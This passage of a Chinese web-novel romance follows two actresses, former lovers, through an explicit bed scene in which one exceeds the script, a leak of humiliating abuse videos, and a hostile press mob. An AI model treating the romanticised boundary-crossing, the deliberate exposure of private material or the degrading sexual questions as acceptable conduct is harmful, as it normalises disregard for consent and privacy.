苏寄欢带祝星亦去化妆间换戏服化妆，“你这么大气？” “我耽误大家那么长时间，应该的嘛。”祝星亦说。 苏寄欢问：“那你也耽误我这么长时间，有想好给我什么补偿吗？” 祝星亦愣住。 她竟然忘记这么重要的补偿。 苏寄欢照顾她那么久，她最应该感谢苏寄欢的。 “那，苏老师，你想要什么？”祝星亦忙问。 化妆师到位，开始给二人化妆。 苏寄欢想了很久说：“先放着，想好了再告诉你。” “你会让我等很久吗？”祝星亦不知道苏寄欢想要什么回报，有点担心。 看着镜子中的人，苏寄欢侧头说：“如果真的要你等，那你会等吗？” 祝星亦不假思索道：“我会。” “那就先麻烦你等一等了。”苏寄欢低眸说，末了，补了四个字，“谢谢星星。” 她偏头冲祝星亦笑了笑。 祝星亦咽了口唾沫，慌慌张张嗯了一声。 星星，星星，星星。 星星好乖。 星星好棒。 星星舒服吗？ 好喜欢吃掉星星。 简简单单两个字，让她忍不住想起一些画面。 都说名字是最短的咒语。 苏寄欢喊她星星，便是一个威力强大的咒语。 苏寄欢好像好几年没有这样喊过她了，现在恢复喊[星星］，威力太过强大，强到，做梦都是难以启齿的梦。 夜晚，祝星亦起身去浴室冲澡，试图浇灭心里的火。 身体恢复好后她便不再和苏寄欢住套间，分开住，她想得很，但没有什么理由跟苏寄欢一起住。 话说，到底什么时候拍吻戏。 淋浴间，她低头看自己的脚尖。 体。液被冲进下水道，她叹口气。 她好着急啊。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 170-176 第171章 《长离引》吻戏 始终燥热让她一夜无眠。 某种情绪像无形的东西抚摸她的身体，触及又离开。 细微的欲念愈燃愈烈，她只能陷入窘境之中。 热乎乎、颤栗地过了一晚。 早上房门照旧被苏寄欢敲响。 出门迎上苏寄欢的视线，兴许是错觉，她看到那双眼睛里的放肆和引诱，带着打量、窥探和故作疏离的边界感。 苏寄欢讶异：“你起那么早。” 祝星亦瞄了眼苏寄欢的身子，心虚道：“嗯，昨晚睡得早。” 梦里是一场床上掌握主动权的混战。 只是现实生活里遇到当事人，她十分不自在。 “但你脸色不太好，黑眼圈那么多。”苏寄欢问出疑惑，“真的睡很早？” “嗯……”祝星亦推推她，“走，去吃饭，别磨蹭。” 心烦意乱持续几天。 碍于身体刚恢复好，暂时不用拍太多动作戏。 后面的动作戏韩珑要让替身演员上场，祝星亦摆摆手，“部分动作太大的可以让替身上场，一般的动作戏我亲自来就好。” 韩珑瞅了眼在不远处看剧本的女人，这事可由不得她做主。 她无奈道：“唐离，你得和神尊大人商量，我做不了决定。” 导演怎么着还是要听制片人的话，何况那个制片人还是苏寄欢。 祝星亦瞥向苏寄欢。 跟她商量那就没得商量。 “我回头试试。”祝星亦心里也没底。 晚上收工问了问，果然没得到赞同的答案，但好像还有得商量。 苏寄欢问：“你为什么执意想要自己完成动作戏？” 祝星亦老实回答：“我以前为了拍武侠剧专门训练过，又有舞蹈底子，我自己来呈现那些动作戏，肯定要比武打替身演员呈现得更好。我可以上我为什么不能上？” “你身体不好你不知道？你之前车祸……”苏寄欢说到一半顿住。 这个“秘密”，她还没有和祝星亦亲口核对过，现在忽然说出来，有种窥探别人秘密的羞耻感。 她故作镇静地看向祝星亦，祝星亦靠在椅背上淡定地问：“你怎么知道我出过车祸？” 窗户纸破了，那就开门见山。 苏寄欢不是一个喜欢隐瞒真相的人，她向来坦坦荡荡。 “从医生那里知道你受过伤，后来问了白澜，得知你在国外出过严重车祸。”苏寄欢如实说，“你能告诉我你为什么要隐瞒这些吗？” “不是都过去了吗？你之前也说，过去的事就停在过去，向前看，我们属于未来。”祝星亦拎着包往身上挎，侧头冲她笑，“你不会反悔你说过的话吧？” 苏寄欢愣怔片刻。 她意外祝星亦会如此平和，受过的伤就这样一句话带过。 以前明明受了点小小的伤都要告知她，被门夹了下手，还会把手举得高高的，要让她吹一吹，抱一抱才会罢休。 现在竟然觉得那么严重的伤不痛不痒，还能笑着说出来，一点都不在意的样子。 “想那些干什么？多不开心。”祝星亦冲她招手，“苏老师，走啊，晚上吃什么？” 她看祝星亦挎着小包向前走了两步等她，忽然想起以前总在担忧的东西。 她总害怕祝星亦长大，害怕祝星亦不再需要她。 后来祝星亦真的不需要她了，受伤也没跟她喊过疼。 长大是件好事。 长大未必是件好事。 想那么多确实不开心。 她点点头跟了上去，“听你的。” / 补拍的戏份零零碎碎，苏寄欢早早把两人的戏份梳理出来，补拍过程中没有出现太多意外。 祝星亦翻着剧本查看已经补拍完毕的戏份。 唐离成为云长洛徒儿后潜心修炼，日日在朝云阁和其他门徒一同学习。 唐离过往仙力高强，因此在修炼方面比其他门徒略胜一筹。云长洛耐心教导唐离，师徒二人常共同修炼。 当然，唐离的存在和云长洛对她的过度关心引起了其他门徒的不满，常有争执和大大小小的矛盾。好在唐离慢慢学着化解矛盾，也通过一些小意外收获了同门的理解和关照。 看完已经补拍过的戏份，再翻一页，祝星亦指尖顿住。 忽然头晕目眩起来，期待、恐惧、火热的东西在脑子里盘旋，像发高烧似的。 接下来要演的一场戏是，唐离误触情蛊，与云长洛激吻过后，度过销魂一夜。 剧本上并未详细描写对白和动作，只写了一行字【激吻，床上活色生香，缠绵悱恻】。 上有苏寄欢的备注：【演员自行发挥】。 自行……发挥…… 先前她有想过如何自行发挥，毕竟她和苏寄欢的床。事随随便便演一演就足够香。艳。 可如今她心神不宁好些时间，该怎么自行发挥？ 更重要的是，她们现在这种关系，怎么香。艳？ 韩珑查看两个机位的镜头，摄像师调好后，韩珑邀二人过来讲戏。 “就是，神尊醉酒后躺回床上，眼神朦胧。一直躲在神尊被窝里的唐离爬出来，神尊惊慌失措之时，中了情蛊的唐离不由分说地吻上神尊。”韩珑躺在床上跟两人示范了一下，摆了个动作，看得苏寄欢笑出声。 祝星亦不敢笑。 她莫名期待，又莫名紧张。 韩珑爬起来，又说：“随后，神尊和唐离拉拉扯扯一番，神尊因为酒量差神志不清，没有一直反抗。唐离褪去神尊的衣服缠绵许久，拉下纱帐共度春宵。” 她给祝星亦示意绑着纱帐的绳子，“拉这里就能直接拉下来，镜头在外面拍一些朦胧的画面即可。” 讲完戏，准备开拍。 拍摄完苏寄欢摇摇晃晃进房间的戏份后，即将进入亲密戏份。 “能不能清一下场？”祝星亦跑到韩珑跟前儿提出要求，“留你和两个摄影师就好。” “这个……”韩珑看向苏寄欢，见苏寄欢点头，便清了场。 寝殿里只剩五个人，祝星亦放心了些，脱下鞋子爬到床上钻进被窝里。 躺好，一小片阴影盖过来，柚子花香扑到鼻尖。 祝星亦抬眼，望见苏寄欢的背影，她坐在床边，等着演接下来的戏。 薄薄的素色衣衫，能透过那层衣衫看到肚兜。 这场戏里，她还要脱掉苏寄欢的外衣。 “你准备好了吗？”苏寄欢忽然回头问。 祝星亦往被子里缩了缩，“嗯，准备好了。” 苏寄欢跟韩珑致意，韩珑手动打板，“OK，action！” 苏寄欢摇摇晃晃地掀开被子坐进锦被之中，缩在被子里的祝星亦被困在床里面，腿贴着苏寄欢刚放进来的腿，浑身燥热难当。 她猛地掀开被子，像一条出水的鱼一般跃了出来。 随后看到苏寄欢倚在床头，素色的中衣因为饮酒太多有些燥热微微敞开领口，露出一截如玉的锁骨。 平日清冷的目光因为剧情需要变得有些朦胧，在室内打好的灯下泛起一片动人的涟漪。 祝星亦咽了口唾沫，声音沙哑得不像话，“师……师尊。” 苏寄欢被她的出现吓了一跳，本能往后缩了缩。 这个反应很适配剧情中云长洛的反应，面对突然出现的唐离，是该惊慌无比。 只是祝星亦隐约觉得苏寄欢眼中还有别的东西，比如昔日两人在床上欢。好时出现的兴奋神情。 苏寄欢蹙眉：“唐离？！你怎么会在这里？！” 祝星亦不知道自己是真中了情蛊还是这段时间胡思乱想把她精神搞得不好了，身体里的热浪不由分说地袭来，她无法理智思考，扑到苏寄欢身上，捧起苏寄欢的脸，将自己的唇狠狠压了上去。 这个吻又急又凶，苏寄欢的唇还是那么软，又香又软的唇把她撩拨得失去了神志，她放肆地吻住了。 起初那两片唇瓣僵硬地抵抗着，但随着她舌尖的试探，它们渐渐松动。 祝星亦趁机加深这个吻，舌尖滑入对方口腔，贪婪地汲取每一寸滋味。 被吻得有些忘记剧情该怎么演的苏寄欢赶紧找回自己的声音，用力推开身上的祝星亦怒吼：“唐离！放肆！！你敢以下犯上！！！” 她跟着剧情设置去推祝星亦的手，但祝星亦早已预料到这个动作，一把扣住她的手腕，将其按在枕边。 “师尊，帮我，帮帮我，帮我解蛊。”祝星亦喘息着，她并非是因为剧情喘息，她刚刚吻得太用力，呼吸不过来了，只能这样喘着。 视线有点模糊，但身体很主动，她弯下身子，唇沿着苏寄欢的下颌线游走，最后落在颈侧，声音又娇又轻：“师尊，我好热，帮我解蛊，师尊，我好难受，好难受，你帮我……” 动情的声音和亲吻的动作在耳畔和身上尽数落下，苏寄欢有点分不清现实和戏中。 过往旖旎的夜晚，祝星亦比现在更娇更勾人，喘。息声软绵绵的，吻一下，整个人都会全身泛红，到极点时的叫声几乎要把人酥得渣都不剩，颤动的模样和动听的声音时常勾得她全身发软。 和以前不一样的是，现在的祝星亦更主动。 不对。 苏寄欢忽然醒了过来。 她们哪里是真的在床上，她们现在明明是在拍戏！ “唐离！住手！”苏寄欢的声音明显已经乱了调子，拒绝的力度也变得微弱起来。 她的呼吸随着祝星亦乱摸的动作和细细软软的喘声急促起来，耳尖红得几乎要滴下血。 身上的人忽然跨坐过来，居高临下地看着她。 苏寄欢散着黑发，衬得清冷的脸添了几分妖冶，她不安地看着身上的人，那人忽然俯身，再次吻上她的唇。 “师尊，好热……救救我……”祝星亦在接吻的间隙呢喃，手指已经不安分地滑向苏寄欢的衣服，“好难受，好想要，师尊，给我……我好难受……” 或许真的是入戏太深，听到祝星亦[想要］的求救，苏寄欢的身体明显僵了一下。 她没有再推开祝星亦，一直抵在祝星亦肩上的手慢慢滑落，最后虚虚地搭在了纤细的腰侧。 第172章 《长离引》吻戏 祝星亦急头白脸吻着身下的人，忽然听到啪的一声。 脑中的弦断了。 这个动作仿佛在默许什么。 “师尊……师尊……”她急促地呼吸，边扯开苏寄欢的衣服，边吻上白皙的肩头，“师尊，师尊，师尊……” 素白的中衣向两侧滑落，露出里面白色的肚兜，隐约可见里面的起伏的曲线。 因为要拍亲密戏，苏寄欢没穿内衣，肚兜里层只有一层薄薄的胸垫，这下肚兜真的成苏寄欢的乳。罩了。 望着波涛汹涌的曲线，祝星亦忍不住咽了一口唾沫，她迅速低下头来，唇舌顺着苏寄欢修长的脖颈一路向下，在胸口流连。 “云长洛，拉帘子！”韩珑的声音从远处传来，听起来有些焦急。 细密的吻落在胸口处，撩拨得全身发麻。苏寄欢沉浸在这场吻里，直到韩珑又一次喊她，她才如梦初醒。 她抬手要去拉床边的纱帐，却被祝星亦一把按住。 “师尊……师尊……”祝星亦不管不顾地细吻着，两人相贴处传来的热度几乎要灼伤她的理智，胡话也越来越多，“救我，你救我……” 她不知道自己此刻是在演戏还是宣泄真实的情感，戏中的剧情冲击和苏寄欢身体带来的燥热，合并着长久压抑的渴望，多重情感混在一起，已经让她分不清戏里戏外。 她现在仅剩的理智是，身下的人是她朝思暮想的苏寄欢。 “拉帘子啊！”韩珑几乎是在吼了。 听到韩珑连吼几声，苏寄欢挣扎着想抽出手，但祝星亦固执地扣着她的手腕。 争执了番，四目相对。 祝星亦从苏寄欢惊慌的眼里看到了自己，绯红的双颊肉眼可见的滚烫，眼中翻涌着起伏不定的情。欲和爱意。 “师尊大人……”演到这里，祝星亦从戏里走了出来，她不是唐离，她是祝星亦。身下的人不是云长洛，是苏寄欢。 祝星亦动了下胯，轻轻蹭了蹭，趴在苏寄欢胸口轻声呢喃：“苏老师，你好香……” 身下人忽然颤抖。 除却肢体动作，还有这个称呼。 趁苏寄欢愣神，祝星亦微微起身一把扯开自己的衣服，藕粉色的肚兜也同样暴露在空气中。 拿大喇叭的韩珑愣住。 嗯？剧本上有写唐离脱自己衣服吗？还是说……真的全是两位自由发挥了？ 她咳了声，又急着喊：“拉帘子啊！快拉啊！” 无人在意韩珑声嘶力竭的呼喊。 祝星亦没有过多犹豫，再次俯身吻上苏寄欢裸露的肩头，手指灵巧地滑到颈上肚兜的系带处。 “快拉帘子啊！快啊！可以了！！”韩珑的声音已经接近尖叫，“拉帘子啊！拉啊！” 千钧一发之际，苏寄欢猛地抽出手拽动了纱帐的绳子，轻薄的纱幔如瀑布般垂落，将床榻与外界的视线隔开，交叠的身影成了朦胧的剪影。 但在最后一刻，祝星亦低着头顺着苏寄欢的锁骨滑下。颈上肚兜纤细的带子被祝星亦用手指勾下，旋即她如婴孩般把头埋了进去。 苏寄欢脚趾蜷缩起来，一声压抑的惊喘被纱帐隔绝在内。 她立刻绷紧了身子，不知是要推开还是拉近。小舌的卷动，湿润的水渍蔓延开，她双眼空洞了一瞬，只觉得全身颤栗，飘飘欲仙。 坐在显示屏前拿着大喇叭的韩珑大声宣布：“Cut！很好！一次过！” 床榻上的两人谁都没有动。 祝星亦依然伏在苏寄欢身上吮吸，她听着对方激烈的心跳，恍觉那是她的助兴剂，不由得重重吸了下。 “星星！”苏寄欢压低声音带着警告，“松口！” 严厉的一声警告，祝星亦忽然醒了。 她松开嘴慌慌张张坐起来时，舌尖还残留着苏寄欢肌肤上淡淡的柚子花香。 苏寄欢手指死死攥住滑落的肚兜，她胸口剧烈起伏着，那双总是平静无波的眼睛此刻泛着涟漪，眼尾染着一抹红。 “苏老师，对……对不起……”祝星亦的声音细如蚊呐，她手忙脚乱地用袖子擦嘴角，晶莹的水痕却越擦越明显。 片场空调的冷风拂过后颈，她才惊觉自己后背早已被汗水浸透，肚兜黏腻地贴在皮肤上，明明白白写着她的罪状。 她居然在片场……差点…… 过分！简直过分！ 祝星亦羞得头都要抬不起来。 到底是唐离中蛊了还是她中蛊了？！太过分了！ 她悄悄抬眼看苏寄欢。 苏寄欢别过脸去系颈后的细绳，她动作很快，却连着三次都没能打好那个简单的结。打了几次终于打好，迅速将中衣拢起。 苏寄欢又望过来，祝星亦连忙低下头。 韩珑的脚步渐近，苏寄欢移了下身子伸手把衣服拿起来给祝星亦拢在身上。 苏寄欢的指尖擦过锁骨，祝星亦像被烫到似的差点歪倒。 “唐离，神尊，可以了，拍完了。”韩珑一步步逼近。 苏寄欢瞄了眼祝星亦，低声说了句“快穿好衣服”，祝星亦赶忙把衣服拉严实。 苏寄欢这才拨开纱帘点头说：“是一遍过吗？” “过了，很好，效果很好，一条就过，你们等……”韩珑走过来时看到两人头发衣服乱得好像真的[混战］过似的，走近两步又退了两步。 铺好的床也乱七八糟，低头的祝星亦一直没抬头，全身还泛着可疑的粉色。 韩珑觉得自己来得不是时候，尴尬地让两人快点去补妆，转头拿着大喇叭喊摄像师快点离开。 傍晚收工时，祝星亦快速卸完妆落荒而逃。 到酒店楼下后，苏寄欢竟也追了上来：“你怎么不等我？” 听到身后的声音，祝星亦拽着衣角不敢回头：“苏老师，今天的吻戏，对不起。” 她声音越来越小，“我……我没控制好。” 苏寄欢向前走了一步站在她身边，她这才发现苏寄欢的妆还没卸干净，想必是为了追她才卸得那么匆忙。 “没事，你入戏太深，不怪你。其实演得挺好的，真的。”苏寄欢说着，手指无意识地摩挲手机边缘，“后面就没有动作这么大的吻戏了，不会再出现这种状况。” 这句话像一把钝刀扎进祝星亦心口，她突然抬头，直直望进苏寄欢眼底：“戏里没有，那戏外呢？” 蝉鸣声突兀地响起，刺耳得令人心慌。 祝星亦看见苏寄欢的瞳孔微微扩大，像是没料到她会这样直白。 她没多想，上前一步抓住苏寄欢的手腕：“苏老师，戏里我可以和你这么亲近，戏外呢？戏里唐离和云长洛经历重重波折在一起了，那我和你呢？我今天不是在演，我就是没有控制住，我喜欢你，我喜欢和你亲近，我想和你一直这样亲密，我想……” “祝星亦。”苏寄欢打断她。 下意识脱口而出的名字让祝星亦瞳孔微缩。 又是全名，不是星星二字。 苏寄欢挣了会儿没能挣开祝星亦的手，“你知道我杀青后要离开麓城。” “是，我知道，你会去港城，或者伦敦。”祝星亦苦笑，“你，你始终是要走的，[苏盛］和[星闪］也会终止合作，你不会为我停留，你不会为任何人停留。” 路灯“滋啦”响了一声，苏寄欢的脸在忽明忽暗的光线里显得格外苍白。 她轻轻抽回手，指尖擦过祝星亦掌心时带起一阵战栗：“先拍戏吧，我暂时不想提这些事。” 她率先终止话题，对方也不再开口。 明明不再提，心里却像缺了一角。 苏寄欢欲言又止。 夜晚翻来覆去睡不着。 苏芙发来的消息打断她的思路：【过几天我去片场看你】 黑暗中苏寄欢看着手机下意识想要拒绝，苏芙看不惯祝星亦，来片场不知道要搞出什么动静。 没等她拒绝，苏芙的消息又发来：【我只是去看看你，不会搭理那个女人】 苏寄欢沉吟片刻，回了个：【行】 她熄屏后不再碰手机，整个人埋进被窝里。 手不自觉地滑向白天被祝星亦吮吸的地方。 温热的口舌包裹住的那一瞬，她乱了心神，也有些贪恋。 心也被扰得躁动难耐。 / 《长离引》补拍的戏里打戏占的比重很多，这一场戏，云长洛和唐离执剑对战。阳光洒下，两道身影进退自如剑影闪烁。 几招过后，云长洛收势，脸上浮现出满意的微笑：“好剑法。” 唐离率先收剑，恭敬地拱手说道：“师尊教导有方。” 云长洛随手将手中的剑抛向唐离，唐离稳稳接住。 “唐离，这把剑是我为你炼制的，往后它就是你的佩剑了。”云长洛负手而立，目光带着期许。 唐离双手紧握着剑，眼中满是感动：“谢师尊。唐离往后，定成为师尊最锋利的剑。” 拍完这场武打戏，又来到大殿开始准备师徒试剑戏份。 祝星亦和苏寄欢正在一旁认真排练走戏，工作人员各司其职，准备拍摄。 白澜坐在角落，百无聊赖地刷着手机，一则热搜突然闯入眼帘。 #苏寄欢祝星亦恋情# 白澜撇了撇嘴，只当又是cp粉的杰作。毕竟自祝星亦和苏寄欢接拍《长离引》，cp粉就小动作不断，类似热搜屡见不鲜。 先前白澜还觉得两个人一直有这样的cp热度有点不太好，毕竟这俩人是真的恋爱过，真要是被爆出来，两个人都有陷入舆论险境的危险。 但又想到[苏盛］的公关特别靠谱，苏家也不会让苏寄欢背负这样的舆论，便放心了不少。 大家爱磕就磕嘛，反正白澜也觉得好磕。 真cp不比那些人工糖精好磕？ 祝星亦和苏寄欢还在对戏，一个工作人员慌慌张张地冲了进来，声音带着颤抖：“不好了！上百家媒体从偏门闯进来了，根本拦不住！” 话音未落，又有工作人员匆匆跑来：“他们朝这边来了！保安人数不够，根本挡不住！” 韩珑皱起眉头满脸疑惑，怎么忽然有那么多媒体过来？发生什么事了吗？ 这时工作人员爆发出一阵惊呼：“快看热搜！我的天！” 所有人的目光瞬间聚焦在热搜词条上，苏寄欢还没来得及放下剑，便快步去拿手机。 热搜前五的词条比核弹还具有冲击力。 #苏寄欢祝星亦恋情# #祝星亦晏氏# #祝星亦# #曝苏寄欢和祝星亦曾恋爱# #祝星亦在恋爱期间背叛苏寄欢# 一张张亲密合照、祝星亦与晏氏往来的照片接连跳出，还有从未公开过的视频，都在冲击众人的眼球。 苏寄欢点开了一段视频，声音外放。 视频是名流齐聚的晏氏晚宴上，祝星亦举着红酒和晏璟霖讨论苏寄欢。 祝星亦晃着红酒一脸戏谑：“那个女人也配让我在她身边当绿叶？一个无能的废物，[苏盛］交到她手里，完蛋得比谁都快。当初要不是她还有点利用价值，我会和她谈恋爱？” 晏璟霖挑起她的下巴，凑近她笑说：“那就快点分手，瑾年比她强千百倍，床上还是床下，都能把你伺候得舒舒服服的。” 她微微别开脸，和晏璟霖碰杯：“真的吗？不瞒你说，苏寄欢技术很好，口。活还是手。活，都很好。你妹妹想接盘，没有点技术我可看不上。” 晏璟霖喝下红酒挑眉：“分手了你就试一试，如何？不过……没分手也可以试试，给你们两个开一间情。趣酒店，今晚就去，让你试试瑾年的技术。” 祝星亦笑而不语。 视频在这里断掉。 片场一片死寂，所有人的目光都像针一样扎在祝星亦身上。 祝星亦感觉自己的皮肤一寸寸裂开，她攥着拳头小声说：“苏老师，我没有，我……我没有和晏瑾年发生关系，我当时……” 即便没有发生关系，但那些侮辱苏寄欢的言论已经无法辩白什么，忽然中断的视频内容，更是引发了太多遐想。 苏寄欢沉着脸，手指继续在屏幕上滑动，下一段视频开始播放。 祝星亦看到自己跪在晏璟霖面前，那个女人用尖头高跟鞋挑起她的下巴，而她竟然在笑。 下一段视频是海边的沙滩上，晏璟霖把红酒倒在她穿着比基尼的身上，她笑着做出一副媚态，跪在晏璟霖脚边端起果盘。 晏璟霖笑了几声，一脚踹翻她手里的果盘，让她学小狗叼飞盘把盖在沙子上的盘子叼起来。 “够了！”祝星亦突然尖叫出声，扑向苏寄欢想要夺过手机。 她的指甲划过苏寄欢的手腕，留下一道红痕。 苏寄欢轻易避开了祝星亦的抢夺，手腕一转，将手机收入戏服的长袖中。 “苏老师，别看了，你别看了……”祝星亦的眼泪终于决堤，“求你别看了……” 她的膝盖发软，几乎要跪下去。白澜死死拽住她的胳膊，防止她真的跪下去。 祝星亦能感觉到白澜的手指也在发抖，但她已经没有余力去关心别人的反应。 五年前她作为[25亿的傀儡］登顶热搜时，ilmeth和警方控制了这些视频流出，只因为警方看完这些视频后于心不忍，而且曝光出来的照片和视频已经可以引起极大的舆论，所以把那些视频压下去了。 为什么现在，现在……为什么又放出来了，谁放的，为什么要这样？ 为什么要曝光她和苏寄欢过去的恋情？ 她自己的黑料流出也就算了，为什么还要搭上苏寄欢？ 苏寄欢退了半步继续看视频，下一条是祝星亦叼着网球从泳池里爬出来，一步一步爬向菲欧娜的视频。 再下一条是祝星亦穿着清凉，在那些名流面前跳擦边舞。 再下一条…… “不好了！他们冲了过来！！”窗边的工作人员大喊。 韩珑跑到窗边，透过窗户看到黑压压的人群正在逼近。那些长枪短炮像嗜血的野兽，而祝星亦就是即将被撕碎的猎物。 苏寄欢的手机铃声适时响起，她接起电话，面无表情地听了几秒，然后挂断。整个过程没说一个字。 她将手机随便放在桌子上，手里的剑始终没有放下。 韩珑招呼大家赶紧把门关上，还找来工具准备堵上门。 苏寄欢看了一眼大门，门外一群黑压压的丧尸正奔跑着，门外还有十几阶台阶，媒体们要爬上台阶才能进来。 她没有多想，提着剑朝正在关上的门走去。 “韩珑，拉住她。”苏寄欢的声音平静得可怕，“从现在开始，除了我，谁也别想走出这个大门。” 祝星亦突然明白了苏寄欢要做什么，她挣脱白澜*的手，冲向那个即将离开的背影。 “苏老师，我也出去，苏老师！”她的声音撕裂了，“苏老师！是我，是我错了，我该去……” 韩珑和白澜同时抓住了她，她挣扎着，长发凌乱地披散在脸上。 她看着苏寄欢头也不回地推开门，阳光照在那袭白衣上，刺得她眼睛生疼。 门合上了。 工作人员拿工具堵住门，窗子也都完全封上。 “苏老师，对不起……对不起……”她的眼泪浸湿了衣衫，对着空荡荡的门口呢喃，“对不起……” 门外，苏寄欢执剑而立。 上百家媒体奔跑过来爬上台阶，她眺望远方，还有许许多多媒体正在往这里跑来，生怕抢不到画面。 两个顶流过去的恋情无疑是内娱核弹，谁都想拿到第一手消息。全国各地的媒体在接到爆料后紧急赶往剧组，魔鬼一般的群体即便几百个保安也挡不住这种突击。 那么，是谁爆料的？ 苏寄欢在人群中看到了两个人。 一个是苏芙，一个是苏菱，她们站在远处和她对望。 凶猛的野兽爬上台阶，苏寄欢冷哼一声，手执长剑缓步走下台阶，剑尖在阳光下泛着冷光。 看到这幅情景，记者们不由自主地后退，有人甚至绊倒在台阶上。 “苏小姐！请问您和祝星亦真的交往过吗？” “苏小姐，请问那些视频是真的吗？她真的做过那些不知羞耻的事吗？” “苏小姐，听说祝星亦和您恋爱期间单方面出轨晏瑾年，你和她分手也是这个原因吗？” “苏小姐，祝星亦在和您交往期间公然辱骂你，还和您的敌人晏氏交好，您作何回应？” “苏小姐，祝星亦……” 问题像箭一样射来。 苏寄欢缓缓走下，那些人缓缓后退。 直至站在最后一级台阶上，长剑横在身前。 苏寄欢微微抬起下巴，眼神凌厉如剑。 “我作为祝星亦的前任，”她的声音清晰无比，坚定有力，“会回答你们所有问题。” 她顿了顿，剑尖指向远处的空地，示意那里才是采访地点。 “但祝星亦，谢绝与你们见面。” 风吹起她的长发和素白的衣衫。 她孤傲的身影，让华美的建筑黯然失色。 这一刻，她仿佛真的成了戏中那个为唐离挡下所有风雨的云长洛。 只是没人看见，她握剑的手微微颤抖。 第173章 《长离引》暂停拍摄 人群跟着苏寄欢的步伐涌动着，远处的苏菱再看不见苏寄欢的身影，只能随那群黑压压的媒体一起前往另一个地方。 “四姨，我们这样做真的好吗？”苏芙跟在苏菱身边，心里没底。 她不知道把苏寄欢和祝星亦过往的恋情曝光究竟能不能好好收场，但她也没别的法子。 苏菱决定做的事，哪有旁人插嘴的份儿。 苏菱站在原地瞭望那群叽叽喳喳的媒体，望了许久才看到穿着戏服的苏寄欢。 苏寄欢手持长剑，那些媒体不敢轻易靠近，只能跟在苏寄欢身边去往指定的景区宣传栏附近。 “当然很好，怎么不好？”苏菱扯唇冷笑一声，“偷偷跟祝星亦谈过恋爱肯定是负面消息，但祝星亦的那些视频不就证实了她接近寄欢本就不怀好意？寄欢本就是受害者，有什么不好的？” 想起前段日子苏寄欢挑战她身为一个母亲的威严，她心里的怒火怎么也消不掉。 她辛辛苦苦养大的女儿，为了一个别有居心的女人屡次跟她吵架，起争执。多年前她忍过，忍耐苏寄欢挑战她、讥讽她，后来仍旧不知悔改，还为祝星亦这个女人做过那么多傻事。 但她的女儿不能一错再错了！ 前段时间苏菱深挖祝星亦的过去，当她看完祝星亦过往跟晏氏交好的视频，她一口牙都要咬碎了。 苏寄欢给了祝星亦那么多东西，她竟然反咬苏寄欢一口，还公然羞辱苏寄欢。 她在晏氏面前当听话的狗，又是跪下又是跳艳舞，又是学狗叫，又是被打，却在珍惜她的苏寄欢面前逞威风，凭什么！ 苏菱看了那些视频恨不得把祝星亦这个女人杀了，她知道曝光这些东西对苏寄欢可能会有一点影响，但她管不了那么多了，她非得让全世界的人看看这个女人是什么嘴脸。 快步跟过去，苏菱远远在外站着，怎么往里挤都挤不动。那些记者太想获得第一手采访资料，举着摄像机往前挤，半空还有几家媒体的无人机。 闪光灯声音、拍照声、记者叽叽喳喳声、无人机的嗡嗡声，聒噪得苏菱耳朵要出血。 偏门那处还有许多往这里赶来的媒体，苏菱一个没注意，鞋跟卡在缝隙里。苏芙搀着她走到一旁喘气，往外围走了走，离前排的苏寄欢近点儿。那处虽看不见人，但能听到声音。 闪光灯刺眼的白光在苏寄欢冷峻的脸上跳动，记者们还在推搡着向前，话筒如林般竖起。 “苏小姐！”最前排的女记者声嘶力竭，话筒几乎戳到苏寄欢下巴，“请问当初你和祝星亦的恋情持续了多久。” 苏寄欢垂眼站直，手中的长剑插进青石板缝隙里。 这群人一直挤在这里，她呼吸不太顺畅，声音放轻许多：“两年零五个月。” “请问你们分手的具体原因是什么？”另一个记者趁机插话，录音笔举得老高。 苏寄欢抬眼，浅褐的眼眸里是一片虚无的白。 她看不清那些记者的脸，阳光和闪光灯的光刺入眼中，她险些失明。 她握紧剑柄回答：“发展理念不和，和平分手。” “苏小姐，爆料称祝星亦是因为您当初拍《琳琅》的时候钱被卷走了才和你分手的。她当初抛弃了你，你后来又和她的[星闪］合作，是因为你和她想要旧情复燃吗？” 闪光灯疯狂闪烁，苏寄欢眼睛有些发干。 当初分手，确实是这个原因。 她无能无用，她是个废物的负责人，于是祝星亦和她分手了。 她拧紧眉头，面不改色说：“不是。当初是我主动提的分手，和她无关。” “苏小姐，视频里祝星亦跪在晏璟霖面前的样子你看到了吗？你不觉得她这种行为很下贱吗？你和这么下贱、不知羞耻的人合作，你不觉得很恶心吗？” 现场骤然一静。 苏寄欢蹙眉，眸光冰冷，握剑的手指节发白，声音也低沉得可怕：“一直以来，她都是一个高自尊的女孩，如果不是晏氏胁迫她，她断然不会向别人下跪、低头。下贱、恶心、不知羞耻的人是晏氏的人才对，她才是手无缚鸡之力的受害者，你不觉得你们所有人的看法和想法都本末倒置了？” 她眼底寒光摄人，前排的记者也不敢再多说什么。但不知哪个记者推搡了下，后排的记者纷纷往前挤，提问的问题也越来越夸张。 “苏小姐，视频里祝星亦说你技术很好，请问你技术到底好到什么地步？” “苏小姐，你为什么要隐瞒自己是女同性恋的事实？你和祝星亦搞地下情是不是愧对粉丝对你的爱？” “苏小姐，视频里祝星亦跪在晏璟霖脚边学狗叫，她有在你面前当过狗吗？” “苏小姐，祝星亦在那些名流面前跳艳舞的视频你看到了吗？她当初是不是也靠这种卖色相的手段勾引你和她恋爱的？” “苏小姐，祝星亦说你技术好，那请问祝星亦的床上功夫好不好？” “苏小姐，祝星亦和晏氏交好时性感妩媚，你真的相信她和晏氏的人没有发生关系吗？” “苏小姐，网友说晏璟霖把祝星亦驯成了狗，还说她们经常玩字母游戏，听说祝星亦被玩到生。殖。器撕裂，你在和她同房时有没有……” 记者的提问像毒蛇钻进她的耳朵，她感觉自己的太阳穴突突直跳，血液在血管里沸腾，几乎要冲破皮肉喷涌而出。 视线开始模糊，但眼前记者的嘴脸清晰得可怕。他们咧着嘴，眼里闪烁着贪婪的光，像一群嗅到血腥味的鬣狗，迫不及待地想要撕咬猎物。 “够了！！” 一声怒吼，震慑得所有记者噤声。 苏寄欢胸口剧烈起伏着，手指死死扣住剑柄。 这些问题像锋利的刀，捅得她喘不过来气，她庆幸祝星亦不在这里。 她都听得痛苦不堪，更何况当事人。 怒吼过后，苏寄欢握紧剑柄，忽地抬起剑直指最前排的记者。 她的手臂因愤怒而颤抖，恨不得劈开这群令人作呕的记者。 “苏寄欢！你要干什么！你要威胁记者吗！你太过分了！”苏菱的声音尖锐地刺进来，可她充耳不闻。 记者们被她持剑的动作吓得后退几步，有人甚至撞翻了身后的摄像机，可很快他们又重新围了上来。 